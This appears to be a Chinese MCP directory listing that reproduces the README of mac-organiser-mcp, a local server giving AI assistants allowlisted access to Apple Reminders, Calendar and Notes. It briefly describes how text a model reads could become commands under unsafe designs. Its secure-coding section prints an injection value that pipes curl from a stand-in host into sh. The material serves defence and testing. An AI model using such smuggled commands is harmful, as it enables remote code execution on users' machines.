mcpField
M
mac-organiser-mcp

mac-organiser-mcp

本地服务
github.com/nicksull生产力02 周前更新

关于 mac-organiser-mcp

mac-organiser-mcp 是一个本地 MCP 服务,可供 AI 助手管理 Apple 提醒事项、日历和备忘录。它通过应用开关、允许列表和固定脚本限制数据暴露,并避免将输入当作代码执行。

主要功能

  1. 01读取和管理提醒事项
  2. 02读取和管理日历事件
  3. 03查找和编辑纯文本备忘录
  4. 04允许列表控制应用、列表、日历和文件夹
  5. 05写入可配置;删除需显式启用

适用场景

  1. 01查看即将到来的日程和提醒
  2. 02在允许的列表中创建或更新事项
  3. 03搜索并维护 AI 文件夹中的备忘录

MCP 相关

通过本地 stdio 向 MCP 客户端提供提醒事项、日历和备忘录工具。各应用默认关闭,允许列表控制可见数据。

配置

本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。

mcp.json · 通用配置
{
"mcpServers": {
"nicksull-mac-organiser": {
"command": "npx",
"args": [
"-y",
"mac-organiser-mcp"
]
}
}
}
启动命令npx -y mac-organiser-mcp

本地服务需要在你的电脑上安装运行环境(如 Node.js 18+)。各客户端的配置文件位置不同,请参考客户端文档。

安装包
npmmac-organiser-mcp0.2.0

工具

还没有获取到工具列表

本地服务需要在你的电脑上运行后才能读取工具,维护者暂未提供工具列表。

详细介绍

Mac Organiser MCP:按你的方式,为 AI 助手管理提醒事项、日历和备忘录。

Mac Organiser MCP

按你的方式,为 AI 助手管理提醒事项、日历和备忘录。
只访问你选择的列表、日历和文件夹。不会有其他内容离开应用。

macOS 14+ Node 20+ MCP TypeScript 网络调用:0 实时测试:43 项通过 许可证:MIT

为什么  ·  工具  ·  隐私  ·  快速开始  ·  配置  ·  工作原理


README 配图

为什么

大多数 Apple MCP 服务会把模型发送的内容直接粘贴到 AppleScript 或 shell 命令中。这意味着模型读取的任何文本,例如网页、电子邮件,或其他人可以编辑的共享提醒事项列表,都可能变成以你的身份运行的命令。它们还往往会把所有内容都交给模型:每条提醒事项、每份备忘录、每个日历。

这个项目在这两方面都采取了相反的做法:

  • 🔒 模型发送的任何内容都不会作为代码运行。 每个应用都有一段固定脚本,你的数据只会作为值传递给它。
  • 🫥 你的助手只能看到你允许的内容。 允许列表以外的列表、日历和文件夹会直接在应用内部过滤,因此它们不会到达服务端,更不会到达模型。
  • ✉️ 不会执行任何对外操作。 它不能邀请任何人、通知任何人,也不会从互联网加载任何内容。

重要

工具返回的任何内容都会作为对话的一部分发送给你的模型提供商。允许列表是你控制可能包含哪些内容的主要手段,因此请尽量严格设置。

README 配图 ## 助手可以做什么

每个应用默认关闭,启用后才会开启。可以按应用关闭写入操作,删除操作始终需要选择启用。

工具功能
✅list_reminder_lists你已允许访问的列表名称读取
get_reminders默认获取未完成的提醒事项,也可指定一个列表读取
search_reminders按标题搜索(如果已启用,也会搜索备注),不区分大小写读取
create_reminder标题、列表、备注、截止日期、优先级写入
update_reminder重命名、重新安排、清除截止日期、调整优先级、标记为完成写入
delete_reminder永久删除选择启用
📅list_calendars你已允许访问的日历,以及所属账户和是否可写读取
get_events指定日期范围内的事件,将重复事件展开为实际发生的事件读取
create_event定时或全天事件,可添加位置和备注。不会添加参与者写入
update_event编辑单个事件,或重复系列中的单次事件写入
delete_event删除单个事件或单次事件选择启用
🗒️list_note_folders你已允许访问的文件夹读取
find_notes仅显示标题,按最新优先排序,可选文本搜索读取
get_note笔记的纯文本内容(长度有限制)读取
create_note新建纯文本笔记写入
append_to_note在纯文本笔记末尾添加文本写入

日期采用 ISO 8601 格式:2026-10-29、2026-10-29T14:00(你的本地时间)或 2026-10-29T14:00+11:00。

README 配图

默认保护隐私

默认状态使用以下设置启用
暴露的应用无MAC_ORGANISER_APPS=reminders,calendar,notes
可见日历无(必须加入允许列表)CALENDAR_CALENDARS="Work,Home",或使用 * 表示全部
可见笔记文件夹无(必须加入允许列表)NOTES_FOLDERS="AI",或使用 * 表示全部
提醒事项备注从不返回REMINDERS_ALLOW_NOTES=1,然后在每次调用中设置 includeNotes
事件位置、备注、URL从不返回CALENDAR_ALLOW_DETAILS=1,然后在每次调用中设置 includeDetails
已完成的提醒事项隐藏在每次调用中设置 completed: true
笔记内容仅可通过 get_note 获取,每次一篇
删除工具不会暴露REMINDERS_ALLOW_DELETE=1、CALENDAR_ALLOW_DELETE=1

**无论如何设置,都不会返回:**事件参与者、提醒事项的创建和修改日期、最近删除笔记文件夹,以及锁定笔记的内容。

README 配图

快速开始

要求
macOS14 Sonoma 或更高版本(Calendar 使用 EventKit 的完整访问 API)
Node.js20 或更高版本
客户端任何能够启动本地(stdio)服务的 MCP 客户端。参见兼容的客户端
安装

无需安装:MCP 客户端会通过 npm 使用 npx -y mac-organiser-mcp 运行程序,如下方配置所示。

改为从源码运行
git clone https://github.com/nicksull/mac-organiser-mcp ~/repos/mac-organiser-mcp
cd ~/repos/mac-organiser-mcp
npm ci
npm run build

然后使用 node 和 dist/index.js 的完整路径,替代 npx 和 -y mac-organiser-mcp。

### 兼容的客户端

这是一个标准的 Model Context Protocol 服务,通过 stdio 在本地运行,因此不绑定任何特定的助手。每个客户端都需要相同的三项内容:命令 npx、参数 -y mac-organiser-mcp,以及作为环境变量的设置。

客户端配置文件位置
Claude Codeclaude mcp add(见下文)
Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.json
Cursor~/.cursor/mcp.json
Windsurf~/.codeium/windsurf/mcp_config.json
VS Code(Agent 模式)工作区中的 .vscode/mcp.json,或用户级 mcp.json
OpenAI Codex CLI~/.codex/config.toml
ChatGPT app❌ 不支持:ChatGPT 仅通过 HTTP 连接远程服务

警告

你可以将本地 MCP 服务置于公共 HTTPS 隧道后,让 ChatGPT 能够访问它,但**不要对这个服务这样做。**这会让你的 Reminders、Calendar 和 Notes 暴露在互联网端点上,与此设计的初衷背道而驰。

Claude Code
claude mcp add -s user mac-organiser \
  -e MAC_ORGANISER_APPS=reminders,calendar,notes \
  -e REMINDERS_LISTS="Reminders,Groceries" \
  -e CALENDAR_CALENDARS="Work,Home" \
  -e NOTES_FOLDERS="AI" \
  -- npx -y mac-organiser-mcp
Claude Desktop · Cursor · Windsurf

这三者都使用相同的 mcpServers 格式:

{
  "mcpServers": {
    "mac-organiser": {
      "command": "npx",
      "args": ["-y", "mac-organiser-mcp"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}

重要

  • GUI 应用不会加载你的 shell PATH。如果 Node 来自 nvm、fnm 或 asdf,请将 "command" 设为 which npx 的输出(例如 /Users/you/.nvm/versions/node/v22.x.x/bin/npx)。
  • Claude Desktop 只会在启动时读取配置,因此编辑后请完全退出(⌘Q)并重新打开。
VS Code

VS Code 使用 servers 和显式的 type:

{
  "servers": {
    "mac-organiser": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "mac-organiser-mcp"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}
OpenAI Codex CLI
[mcp_servers.mac-organiser]
command = "npx"
args = ["-y", "mac-organiser-mcp"]

[mcp_servers.mac-organiser.env]
MAC_ORGANISER_APPS = "reminders,calendar,notes"
REMINDERS_LISTS = "Reminders,Groceries"
CALENDAR_CALENDARS = "Work,Home"
NOTES_FOLDERS = "AI"

配置格式会随客户端版本变化;如果格式不匹配,请查阅相应客户端的 MCP 文档。

提示

专门设立一个 Notes 文件夹(比如 AI)很适合作为允许列表:助手可以在其中读写内容,而你的其他笔记仍不可访问。

权限

macOS 会在每个应用首次使用时询问一次。点击 允许。

应用查看位置
Reminders、Notes系统设置 › 隐私与安全性 › 自动化
Calendar系统设置 › 隐私与安全性 › 日历(完全访问权限)
Reminders,仅用于清除到期日期系统设置 › 隐私与安全性 › 提醒事项(完全访问权限)

说明

这些权限属于宿主应用(Terminal、Cursor、VS Code、Claude Desktop……),而不是此服务。在该应用中运行的任何其他内容也会获得相同的访问权限。首次调用 Calendar 时,会等待最多 40 秒,供你回应提示。

README 配图 ## 配置

所有配置都通过环境变量设置。标志值可设为 1、true 或 yes。

变量默认值
MAC_ORGANISER_APPS(无)逗号分隔:reminders、calendar、notes
REMINDERS_LISTS所有列表列表名称白名单;* 表示全部
REMINDERS_ALLOW_NOTES关闭允许模型请求提醒事项备注
REMINDERS_READ_ONLY关闭隐藏创建和更新操作
REMINDERS_ALLOW_DELETE关闭暴露 delete_reminder
REMINDERS_MAX_RESULTS50最多 500
CALENDAR_CALENDARS必填日历名称或 ID;* 表示全部
CALENDAR_ALLOW_DETAILS关闭允许模型请求地点、备注和 URL
CALENDAR_READ_ONLY关闭隐藏创建和更新操作
CALENDAR_ALLOW_DELETE关闭暴露 delete_event
CALENDAR_MAX_RESULTS100最多 1000
NOTES_FOLDERS必填文件夹名称;* 表示全部
NOTES_READ_ONLY关闭隐藏创建和追加操作
NOTES_MAX_RESULTS50最多 500
NOTES_MAX_CHARS20000get_note 返回的最长文本,最多 200000

如果启用了某个应用,但没有设置其必需的白名单,该应用将保持关闭状态,服务会在 stderr 中说明原因。

README 配图

工作原理

flowchart LR
    client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod

    subgraph server["Mac Organiser MCP · Node"]
        zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]
        exec["execFile osascript<br/>no shell"]
        zod --> exec
    end

    subgraph mac["Inside the Apple app"]
        script["Fixed JXA script<br/>request arrives as one JSON value"]
        filter{"In your<br/>allowlist?"}
        data[("Reminders · Calendar · Notes")]
        script --> filter
        filter -->|yes| data
        filter -.->|no: 'not found'| script
    end

    exec -->|argv| script
    data -->|only allowed fields| exec
    exec -->|result| client
为什么无法发生注入

常见做法是根据模型的文本构建脚本,因此多余的 ' 或 " 会让数据变成代码:

// ❌ What many Apple MCP servers do
exec(`osascript -e 'set name of r to "${name}"'`);
//   name = `x'; curl evil.sh | sh; #`  →  runs curl

这里的脚本文本始终不变。请求会作为独立参数传递,不经过 shell,并且始终只作为数据读取:

// ✅ Mac Organiser MCP
execFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);
// Inside SCRIPT
function run(argv) { return handle(JSON.parse(argv[0])); }

实时测试套件会发送这些载荷以及其他载荷,并检查它们是否以纯文本形式存储。

引擎
应用引擎原因
RemindersReminders 脚本(JXA)批量处理时速度足够快。对于脚本无法完成的一项操作——清除截止日期——则使用 EventKit
Calendar通过 JXA ObjC 桥接使用 EventKit比对 Calendar.app 使用脚本快得多,而且能正确展开重复事件
NotesNotes 脚本(JXA)Notes 没有公开框架
README 配图

基本原则

每项更改都必须遵守以下原则。

  1. 绝不根据输入构建代码。 脚本是固定文本;请求只以数据形式传递。
  2. 在源头过滤。 白名单和字段限制在 Apple 应用内部执行,因此隐藏数据不会到达 Node、日志或模型。
  3. 白名单以外的内容一律视为“未找到”。 读取和写入操作均如此,且不会暗示该内容存在。
  4. 不执行任何对外操作。 不添加与会者、不发送邀请或更新邮件,也不进行网络调用。此处的与会者事件只能读取。
  5. 绝不销毁无法恢复的内容。 删除操作必须主动启用。绝不覆盖或删除 Notes;修改重复事件时也始终一次只修改一个实例。
  6. 文本始终是文本。 Notes 内容会进行 HTML 转义,因此模型无法添加链接、标记或跟踪图像。
  7. 验证所有内容。 在运行任何操作之前检查 ID、日期、优先级和长度,作为第二道防线。
  8. 依赖项固定。 使用锁文件锁定确切版本,只有两个运行时依赖项,不含安装脚本。
README 配图 ## 限制
  • **备忘录:**无法编辑或删除。只能通过替换备忘录的整个正文来脚本化处理,这可能会丢失附件、清单和表格。因此,append_to_note 会拒绝处理包含附件、列表、表格或图片的备忘录。
  • **日历:**新建事件时无法设置重复规则,也无法在此处更改或删除包含参会者的事件。请使用 Calendar.app 处理这些事件。
  • **提醒事项:**不支持子任务、标签、标记或位置;脚本接口未提供这些功能。
  • **重名:**如果两个日历同名,请使用 list_calendars 返回的日历 ID。两个同名的备忘录文件夹需要重命名。
  • 仅限 macOS,且 Mac 必须处于唤醒状态:所有操作都在本地运行。
README 配图

开发

命令作用
npm run build将 TypeScript 编译到 dist/
npm start通过 stdio 运行服务
npm run test:live针对真实应用运行端到端测试(见下文)
实时测试
npm run build && npm run test:live

测试套件会创建一个名为 MCP Test 的提醒事项列表、日历和备忘录文件夹,将所有允许列表锁定到这些项目,并通过真实的 MCP 客户端运行全部 16 个工具:共 43 项检查,包括注入载荷、允许列表绕过、重复事件实例和清除截止日期。测试完成后会删除这些测试数据;如果已有任何名为 MCP Test 的项目,则不会启动。不会读取你的其他数据。

目录结构
src/
  index.ts        Registers each enabled app
  config.ts       Environment variables and their defaults
  osascript.ts    Runs a fixed JXA script with one JSON argument; shared helpers
  reminders.ts    Reminders tools and script
  calendar.ts     Calendar tools and EventKit script
  notes.ts        Notes tools and script
test/
  live.mjs        End-to-end suite over MCP
  fixtures.js     Creates and removes the MCP Test fixtures

许可证

MIT © 2026 Nick Sullivan

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。